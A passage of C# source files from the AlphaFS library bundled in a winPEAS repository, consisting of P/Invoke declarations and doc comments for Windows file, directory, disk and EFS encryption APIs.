[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "RemoveDirectoryW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool RemoveDirectory([MarshalAs(UnmanagedType.LPWStr)] string lpPathName); /// /// Deletes an existing empty directory as a transacted operation. /// /// /// The RemoveDirectoryTransacted function marks a directory for deletion on close. /// Therefore, the directory is not removed until the last handle to the directory is closed. /// RemoveDirectory removes a directory junction, even if the contents of the target are not empty; /// the function removes directory junctions regardless of the state of the target object. /// Minimum supported client: Windows Vista [desktop apps only] /// Minimum supported server: Windows Server 2008 [desktop apps only] /// /// Full pathname of the file. /// The transaction. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "RemoveDirectoryTransactedW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool RemoveDirectoryTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpPathName, SafeHandle hTransaction); /// /// Changes the current directory for the current process. /// /// /// The path to the new current directory. This parameter may specify a relative path or a full path. In either case, the full path of the specified directory is calculated and stored as the current directory. /// /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Usage", "CA2205:UseManagedEquivalentsOfWin32Api")] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "SetCurrentDirectoryW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool SetCurrentDirectory([MarshalAs(UnmanagedType.LPWStr)] string lpPathName); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.DiskManagement.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// /// Retrieves information about the specified disk, including the amount of free space on the disk. /// /// /// Symbolic link behavior: If the path points to a symbolic link, the operation is performed on the target. /// If this parameter is a UNC name, it must include a trailing backslash (for example, "\\MyServer\MyShare\"). /// Furthermore, a drive specification must have a trailing backslash (for example, "C:\"). /// The calling application must have FILE_LIST_DIRECTORY access rights for this directory. /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// /// Full pathname of the root file. /// [out] The sectors per cluster. /// [out] The bytes per sector. /// [out] Number of free clusters. /// [out] The total number of clusters. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetDiskFreeSpaceW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetDiskFreeSpace([MarshalAs(UnmanagedType.LPWStr)] string lpRootPathName, [MarshalAs(UnmanagedType.U4)] out int lpSectorsPerCluster, [MarshalAs(UnmanagedType.U4)] out int lpBytesPerSector, [MarshalAs(UnmanagedType.U4)] out int lpNumberOfFreeClusters, [MarshalAs(UnmanagedType.U4)] out uint lpTotalNumberOfClusters); /// /// Retrieves information about the amount of space that is available on a disk volume, which is the total amount of space, /// the total amount of free space, and the total amount of free space available to the user that is associated with the calling /// thread. /// /// /// Symbolic link behavior: If the path points to a symbolic link, the operation is performed on the target. /// The GetDiskFreeSpaceEx function returns zero (0) for lpTotalNumberOfFreeBytes and lpFreeBytesAvailable /// for all CD requests unless the disk is an unwritten CD in a CD-RW drive. /// If this parameter is a UNC name, it must include a trailing backslash, for example, "\\MyServer\MyShare\". /// This parameter does not have to specify the root directory on a disk. /// The function accepts any directory on a disk. /// The calling application must have FILE_LIST_DIRECTORY access rights for this directory. /// Minimum supported client: Windows XP [desktop apps | Windows Store apps] /// Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps] /// /// Pathname of the directory. /// [out] The free bytes available. /// [out] The total number of in bytes. /// [out] The total number of free in bytes. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero (0). To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "GetDiskFreeSpaceExW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetDiskFreeSpaceEx([MarshalAs(UnmanagedType.LPWStr)] string lpDirectoryName, [MarshalAs(UnmanagedType.U8)] out long lpFreeBytesAvailable, [MarshalAs(UnmanagedType.U8)] out long lpTotalNumberOfBytes, [MarshalAs(UnmanagedType.U8)] out long lpTotalNumberOfFreeBytes); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.EncryptedFileRaw.cs ================================================ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { internal partial class NativeMethods { /// Opens an encrypted file in order to backup (export) or restore (import) the file. /// If the function succeeds, it returns ERROR_SUCCESS. /// If the function fails, it returns a nonzero error code defined in WinError.h. You can use FormatMessage with the FORMAT_MESSAGE_FROM_SYSTEM flag to get a generic text description of the error. /// Minimum supported client: Windows XP Professional [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// The name of the file to be opened. /// The operation to be performed. /// [out] The address of a context block that must be presented in subsequent calls to /// ReadEncryptedFileRaw, WriteEncryptedFileRaw, or CloseEncryptedFileRaw. [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("Advapi32.dll", SetLastError = false, CharSet = CharSet.Unicode, EntryPoint = "OpenEncryptedFileRawW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint OpenEncryptedFileRaw([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, EncryptedFileRawMode ulFlags, out SafeEncryptedFileRawHandle pvContext); /// Closes an encrypted file after a backup or restore operation, and frees associated system resources. /// Minimum supported client: Windows XP Professional [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// A pointer to a system-defined context block. The OpenEncryptedFileRaw function returns the context block. [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("Advapi32.dll", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] internal static extern void CloseEncryptedFileRaw(IntPtr pvContext); /// Backs up (export) encrypted files. This is one of a group of Encrypted File System (EFS) functions that is intended to implement backup and restore functionality, while maintaining files in their encrypted state. /// If the function succeeds, it returns ERROR_SUCCESS. /// If the function fails, it returns a nonzero error code defined in WinError.h. You can use FormatMessage with the FORMAT_MESSAGE_FROM_SYSTEM flag to get a generic text description of the error. /// Minimum supported client: Windows XP Professional [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule"), SuppressUnmanagedCodeSecurity] [DllImport("Advapi32.dll", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint ReadEncryptedFileRaw([MarshalAs(UnmanagedType.FunctionPtr)] EncryptedFileRawExportCallback pfExportCallback, IntPtr pvCallbackContext, SafeEncryptedFileRawHandle pvContext); /// Restores (import) encrypted files. This is one of a group of Encrypted File System (EFS) functions that is intended to implement backup and restore functionality, while maintaining files in their encrypted state. /// If the function succeeds, it returns ERROR_SUCCESS. /// If the function fails, it returns a nonzero error code defined in WinError.h. You can use FormatMessage with the FORMAT_MESSAGE_FROM_SYSTEM flag to get a generic text description of the error. /// Minimum supported client: Windows XP Professional [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("Advapi32.dll", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint WriteEncryptedFileRaw([MarshalAs(UnmanagedType.FunctionPtr)] EncryptedFileRawImportCallback pfExportCallback, IntPtr pvCallbackContext, SafeEncryptedFileRawHandle pvContext); [SuppressUnmanagedCodeSecurity] internal delegate int EncryptedFileRawExportCallback(IntPtr pbData, IntPtr pvCallbackContext, uint ulLength); [SuppressUnmanagedCodeSecurity] internal delegate int EncryptedFileRawImportCallback(IntPtr pbData, IntPtr pvCallbackContext, ref uint ulLength); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.FileManagement.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Alphaleonis.Win32.Security; using Microsoft.Win32.SafeHandles; using System; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Runtime.InteropServices; using System.Security; using System.Security.AccessControl; using System.Text; namespace Alphaleonis.Win32.Filesystem { internal static partial class NativeMethods { /// /// Copies an existing file to a new file, notifying the application of its progress through a callback function. /// /// /// This function fails with ERROR_ACCESS_DENIED if the destination file already exists and has the FILE_ATTRIBUTE_HIDDEN or /// FILE_ATTRIBUTE_READONLY attribute set. /// This function preserves extended attributes, OLE structured storage, NTFS file system alternate data streams, security /// resource attributes, and file attributes. /// Windows 7, Windows Server 2008 R2, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: /// Security resource attributes (ATTRIBUTE_SECURITY_INFORMATION) for the existing file are not copied to the new file until /// Windows 8 and Windows Server 2012. /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// /// Filename of the existing file. /// Filename of the new file. /// The progress routine. /// The data. /// [out] The pb cancel. /// The copy flags. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "CopyFileExW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool CopyFileEx([MarshalAs(UnmanagedType.LPWStr)] string lpExistingFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpNewFileName, NativeCopyMoveProgressRoutine lpProgressRoutine, IntPtr lpData, [MarshalAs(UnmanagedType.Bool)] out bool pbCancel, CopyOptions dwCopyFlags); /// /// Copies an existing file to a new file as a transacted operation, notifying the application of its progress through a callback /// function. /// /// /// This function fails with ERROR_ACCESS_DENIED if the destination file already exists and has the FILE_ATTRIBUTE_HIDDEN or /// FILE_ATTRIBUTE_READONLY attribute set. /// This function preserves extended attributes, OLE structured storage, NTFS file system alternate data streams, security /// resource attributes, and file attributes. /// Windows 7, Windows Server 2008 R2, Windows Server 2008, Windows Vista, Windows Server 2003, and Windows XP: /// Security resource attributes (ATTRIBUTE_SECURITY_INFORMATION) for the existing file are not copied to the new file until /// Windows 8 and Windows Server 2012. /// Minimum supported client: Windows Vista [desktop apps only] /// Minimum supported server: Windows Server 2008 [desktop apps only] /// /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "CopyFileTransactedW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool CopyFileTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpExistingFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpNewFileName, NativeCopyMoveProgressRoutine lpProgressRoutine, IntPtr lpData, [MarshalAs(UnmanagedType.Bool)] out bool pbCancel, CopyOptions dwCopyFlags, SafeHandle hTransaction); /// /// Creates or opens a file or I/O device. The most commonly used I/O devices are as follows: file, file stream, directory, physical /// disk, volume, console buffer, tape drive, communications resource, mailslot, and pipe. /// /// Minimum supported client: Windows XP. /// Minimum supported server: Windows Server 2003. /// /// If the function succeeds, the return value is an open handle to the specified file, device, named pipe, or mail slot. If the /// function fails, the return value is Win32Errors.ERROR_INVALID_HANDLE. To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "CreateFileW"), SuppressUnmanagedCodeSecurity] internal static extern SafeFileHandle CreateFile([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] FileSystemRights dwDesiredAccess, [MarshalAs(UnmanagedType.U4)] FileShare dwShareMode, [MarshalAs(UnmanagedType.LPStruct)] Security.NativeMethods.SecurityAttributes lpSecurityAttributes, [MarshalAs(UnmanagedType.U4)] FileMode dwCreationDisposition, [MarshalAs(UnmanagedType.U4)] ExtendedFileAttributes dwFlagsAndAttributes, IntPtr hTemplateFile); /// /// Creates or opens a file or I/O device. The most commonly used I/O devices are as follows: file, file stream, directory, physical /// disk, volume, console buffer, tape drive, communications resource, mailslot, and pipe. /// /// Minimum supported client: Windows Vista [desktop apps only]. /// Minimum supported server: Windows Server 2008 [desktop apps only]. /// /// If the function succeeds, the return value is an open handle to the specified file, device, named pipe, or mail slot. If the /// function fails, the return value is Win32Errors.ERROR_INVALID_HANDLE". To get extended error information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "CreateFileTransactedW"), SuppressUnmanagedCodeSecurity] internal static extern SafeFileHandle CreateFileTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] FileSystemRights dwDesiredAccess, [MarshalAs(UnmanagedType.U4)] FileShare dwShareMode, [MarshalAs(UnmanagedType.LPStruct)] Security.NativeMethods.SecurityAttributes lpSecurityAttributes, [MarshalAs(UnmanagedType.U4)] FileMode dwCreationDisposition, [MarshalAs(UnmanagedType.U4)] ExtendedFileAttributes dwFlagsAndAttributes, IntPtr hTemplateFile, SafeHandle hTransaction, IntPtr pusMiniVersion, IntPtr pExtendedParameter); /// Creates or opens a named or unnamed file mapping object for a specified file. /// Minimum supported client: Windows XP. /// Minimum supported server: Windows Server 2003. /// /// If the function succeeds, the return value is a handle to the newly created file mapping object. If the function fails, the return /// value is null. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = false, CharSet = CharSet.Unicode, EntryPoint = "CreateFileMappingW"), SuppressUnmanagedCodeSecurity] internal static extern SafeFileHandle CreateFileMapping(SafeFileHandle hFile, SafeHandle lpSecurityAttributes, [MarshalAs(UnmanagedType.U4)] uint flProtect, [MarshalAs(UnmanagedType.U4)] uint dwMaximumSizeHigh, [MarshalAs(UnmanagedType.U4)] uint dwMaximumSizeLow, [MarshalAs(UnmanagedType.LPWStr)] string lpName); /// Establishes a hard link (similar to CMD command: "MKLINK /H") between an existing file and a new file. This function is only supported on the NTFS file system, and only for files, not directories. /// Minimum supported client: Windows XP [desktop apps only]. /// Minimum supported server: Windows Server 2003 [desktop apps only]. /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero (0). To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "CreateHardLinkW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool CreateHardLink([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpExistingFileName, IntPtr lpSecurityAttributes); /// Establishes a hard link (similar to CMD command: "MKLINK /H") between an existing file and a new file as a transacted operation. This function is only supported on the NTFS file system, and only for files, not directories. /// Minimum supported client: Windows Vista [desktop apps only]. /// Minimum supported server: Windows Server 2008 [desktop apps only]. /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero (0). To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "CreateHardLinkTransactedW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool CreateHardLinkTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpExistingFileName, IntPtr lpSecurityAttributes, SafeHandle hTransaction); /// Creates a symbolic link (similar to CMD command: "MKLINK /D"). /// Minimum supported client: Windows Vista [desktop apps only]. /// Minimum supported server: Windows Server 2008 [desktop apps only]. /// /// The unmanaged prototype contains a return directive because the CreateSymbolicLink API function returns BOOLEAN, a one-byte data type. /// The default marshaling for bool is four bytes (to allow seamless integration with BOOL return values). /// If you were to use the default marshaling for BOOLEAN values, it's likely that you will get erroneous results. /// The return directive forces PInvoke to marshal just one byte of the return value. /// Source: http://www.informit.com/guides/content.aspx?g=dotnet&seqNum=762&ns=16196 /// /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero (0). To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "CreateSymbolicLinkW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.I1)] internal static extern bool CreateSymbolicLink([MarshalAs(UnmanagedType.LPWStr)] string lpSymlinkFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpTargetFileName, [MarshalAs(UnmanagedType.U4)] SymbolicLinkTarget dwFlags); /// Creates a symbolic link (similar to CMD command: "MKLINK /D") as a transacted operation. /// Minimum supported client: Windows Vista [desktop apps only]. /// Minimum supported server: Windows Server 2008 [desktop apps only]. /// /// The unmanaged prototype contains a return directive because the CreateSymbolicLink API function returns BOOLEAN, a one-byte data type. /// The default marshaling for bool is four bytes (to allow seamless integration with BOOL return values). /// If you were to use the default marshaling for BOOLEAN values, it's likely that you will get erroneous results. /// The return directive forces PInvoke to marshal just one byte of the return value. /// Source: http://www.informit.com/guides/content.aspx?g=dotnet&seqNum=762&ns=16196 /// /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero (0). To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "CreateSymbolicLinkTransactedW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.I1)] internal static extern bool CreateSymbolicLinkTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpSymlinkFileName, [MarshalAs(UnmanagedType.LPWStr)] string lpTargetFileName, [MarshalAs(UnmanagedType.U4)] SymbolicLinkTarget dwFlags, SafeHandle hTransaction); /// Decrypts an encrypted file or directory. /// /// The DecryptFile function requires exclusive access to the file being decrypted, and will fail if another process is using the file. /// If the file is not encrypted, DecryptFile simply returns a nonzero value, which indicates success. If lpFileName specifies a read- /// only file, the function fails and GetLastError returns ERROR_FILE_READ_ONLY. If lpFileName specifies a directory that contains a /// read-only file, the functions succeeds but the directory is not decrypted. /// /// Minimum supported client: Windows XP. /// Minimum supported server: Windows Server 2003. /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "DecryptFileW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool DecryptFile([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [MarshalAs(UnmanagedType.U4)] uint dwReserved); /// Deletes an existing file. /// /// If an application attempts to delete a file that does not exist, the DeleteFile function fails with ERROR_FILE_NOT_FOUND. /// /// If the file is a read-only file, the function fails with ERROR_ACCESS_DENIED. /// /// If the path points to a symbolic link, the symbolic link is deleted, not the target. To delete a target, you must call CreateFile /// and specify FILE_FLAG_DELETE_ON_CLOSE. /// /// Minimum supported client: Windows XP [desktop apps | Windows Store apps]. /// Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps]. /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero (0). To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "DeleteFileW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool DeleteFile([MarshalAs(UnmanagedType.LPWStr)] string lpFileName); /// Deletes an existing file as a transacted operation. /// Minimum supported client: Windows Vista [desktop apps only]. /// Minimum supported server: Windows Server 2008 [desktop apps only]. /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero (0). To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "DeleteFileTransactedW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool DeleteFileTransacted([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, SafeHandle hTransaction); /// /// Encrypts a file or directory. All data streams in a file are encrypted. All new files created in an encrypted directory are /// encrypted. /// /// /// The EncryptFile function requires exclusive access to the file being encrypted, and will fail if another process is using the file. /// If the file is already encrypted, EncryptFile simply returns a nonzero value, which indicates success. If the file is compressed, /// EncryptFile will decompress the file before encrypting it. If lpFileName specifies a read-only file, the function fails and /// GetLastError returns ERROR_FILE_READ_ONLY. If lpFileName specifies a directory that contains a read-only file, the functions /// succeeds but the directory is not encrypted. /// /// Minimum supported client: Windows XP. /// Minimum supported server: Windows Server 2003. /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "EncryptFileW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool EncryptFile([MarshalAs(UnmanagedType.LPWStr)] string lpFileName); /// /// Disables or enables encryption of the specified directory and the files in it. It does not affect encryption of subdirectories /// below the indicated directory. /// /// /// EncryptionDisable() disables encryption of directories and files. It does not affect the visibility of files with the /// FILE_ATTRIBUTE_SYSTEM attribute set. This method will create/change the file "Desktop.ini" and wil set Encryption value: /// "Disable=0|1". /// /// Minimum supported client: Windows XP Professional [desktop apps only]. /// Minimum supported server: Windows Server 2003 [desktop apps only]. /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule"), SuppressUnmanagedCodeSecurity] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool EncryptionDisable([MarshalAs(UnmanagedType.LPWStr)] string dirPath, [MarshalAs(UnmanagedType.Bool)] bool disable); /// Retrieves the encryption status of the specified file. /// Minimum supported client: Windows XP Professional [desktop apps only]. /// Minimum supported server: Windows Server 2003 [desktop apps only]. /// /// If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error /// information, call GetLastError. /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "FileEncryptionStatusW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool FileEncryptionStatus([MarshalAs(UnmanagedType.LPWStr)] string lpFileName, out FileEncryptionStatus lpStatus); /// /// Closes a file search handle opened by the FindFirstFile, FindFirstFileEx, FindFirstFileNameW, FindFirstFileNameTransactedW, /// FindFirstFileTransacted, FindFirstStreamTransactedW, or FindFirstStreamW functions. /// /// Minimum supported client: Windows XP [desktop apps | Windows Store apps]. /// Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps]. /// /// If the function succeeds, the return value is nonzero. 